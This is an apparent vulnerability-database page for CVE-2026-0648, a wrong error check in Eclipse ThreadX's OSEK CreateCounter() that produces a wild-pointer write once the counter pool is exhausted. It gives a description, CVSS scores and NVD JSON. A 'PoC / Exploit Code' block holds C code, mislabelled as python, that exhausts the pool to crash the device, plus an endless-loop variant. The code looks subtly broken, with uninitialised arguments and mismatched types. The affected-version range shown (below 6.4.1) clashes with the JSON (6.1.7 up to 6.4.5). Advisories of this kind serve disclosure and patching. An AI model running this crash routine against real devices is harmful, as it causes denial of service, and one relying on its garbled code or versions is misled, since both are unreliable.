Security Vulnerability Report
中文
CVE-2026-0648 CVSS 7.8 HIGH

CVE-2026-0648

Published: 2026-01-27 16:16:35
Last Modified: 2026-04-02 20:30:58

Description

The vulnerability stems from an incorrect error-checking logic in the CreateCounter() function (in threadx/utility/rtos_compatibility_layers/OSEK/tx_osek.c) when handling the return value of osek_get_counter(). Specifically, the current code checks if cntr_id equals 0u to determine failure, but @osek_get_counter() actually returns E_OS_SYS_STACK (defined as 12U) when it fails. This mismatch causes the error branch to never execute even when the counter pool is exhausted. As a result, when the counter pool is depleted, the code proceeds to cast the error code (12U) to a pointer (OSEK_COUNTER *), creating a wild pointer. Subsequent writes to members of this pointer lead to writes to illegal memory addresses (e.g., 0x0000000C), which can trigger immediate HardFaults or silent memory corruption. This vulnerability poses significant risks, including potential denial-of-service attacks (via repeated calls to exhaust the counter pool) and unauthorized memory access.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:eclipse:threadx:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse ThreadX < 6.4.1
Eclipse ThreadX OSEK兼容层所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-0648 // Eclipse ThreadX OSEK CreateCounter Wild Pointer Vulnerability // This PoC demonstrates exhausting the counter pool to trigger the vulnerability #include "tx_api.h" #include "tx_osek.h" #define DEMO_STACK_SIZE 1024 #define MAX_COUNTERS 16 // Typical counter pool limit TX_COUNTER counter_handles[MAX_COUNTERS]; void poc_cve_2026_0648(void) { StatusType status; CounterType counter_id; // Step 1: Exhaust the counter pool by creating counters // until all slots are consumed for (int i = 0; i < MAX_COUNTERS; i++) { status = CreateCounter(counter_handles[i], counter_id); if (status != E_OK) { // Counter pool exhausted break; } } // Step 2: Now the counter pool is exhausted, any additional // CreateCounter call will trigger the vulnerability // osek_get_counter() returns E_OS_SYS_STACK (12U) // but code checks for cntr_id == 0, so error branch is skipped // Result: 12U cast to OSEK_COUNTER* creates wild pointer // Subsequent writes to *counter_id cause HardFault or memory corruption status = CreateCounter(counter_handles[MAX_COUNTERS], counter_id); // At this point, counter_id contains 12 (E_OS_SYS_STACK) // Writing to counter_id->xxx writes to address 0x0000000C // This will trigger HardFault or corrupt memory } // Alternative: AutoFiller variant that continuously calls CreateCounter void autofiller_exploit(void) { CounterType counter_id; // Keep creating counters until pool is exhausted while (1) { CreateCounter(NULL, counter_id); // Each call after pool exhaustion creates wild pointer // This leads to DoS via HardFault or memory corruption } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0648", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:35.107", "lastModified": "2026-04-02T20:30:57.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The vulnerability stems from an incorrect error-checking logic in the CreateCounter() function (in threadx/utility/rtos_compatibility_layers/OSEK/tx_osek.c) when handling the return value of osek_get_counter(). Specifically, the current code checks if cntr_id equals 0u to determine failure, but @osek_get_counter() actually returns E_OS_SYS_STACK (defined as 12U) when it fails. This mismatch causes the error branch to never execute even when the counter pool is exhausted.\n\nAs a result, when the counter pool is depleted, the code proceeds to cast the error code (12U) to a pointer (OSEK_COUNTER *), creating a wild pointer. Subsequent writes to members of this pointer lead to writes to illegal memory addresses (e.g., 0x0000000C), which can trigger immediate HardFaults or silent memory corruption.\n\nThis vulnerability poses significant risks, including potential denial-of-service attacks (via repeated calls to exhaust the counter pool) and unauthorized memory access."}, {"lang": "es", "value": "La vulnerabilidad se deriva de una lógica incorrecta de comprobación de errores en la función CreateCounter() (en threadx/utility/rtos_compatibility_layers/OSEK/tx_osek.c) al manejar el valor de retorno de osek_get_counter(). Específicamente, el código actual comprueba si cntr_id es igual a 0u para determinar un fallo, pero @osek_get_counter() en realidad devuelve E_OS_SYS_STACK (definido como 12U) cuando falla. Esta discrepancia hace que la rama de error nunca se ejecute, incluso cuando el pool de contadores está agotado.\n\nComo resultado, cuando el pool de contadores se agota, el código procede a convertir el código de error (12U) a un puntero (OSEK_COUNTER *), creando un puntero salvaje. Las escrituras posteriores a miembros de este puntero conducen a escrituras en direcciones de memoria ilegales (por ejemplo, 0x0000000C), lo que puede desencadenar HardFaults inmediatos o corrupción de memoria silenciosa.\n\nEsta vulnerabilidad plantea riesgos significativos, incluyendo posibles ataques de denegación de servicio (mediante llamadas repetidas para agotar el pool de contadores) y acceso no autorizado a la memoria."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-253"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.7", "versionEndExcluding": "6.4.5", "matchCriteriaId": "77069C96-3BA5-4AC9-92D4-6753DE8FC8A6"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-xj75-fc68-h4rw", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}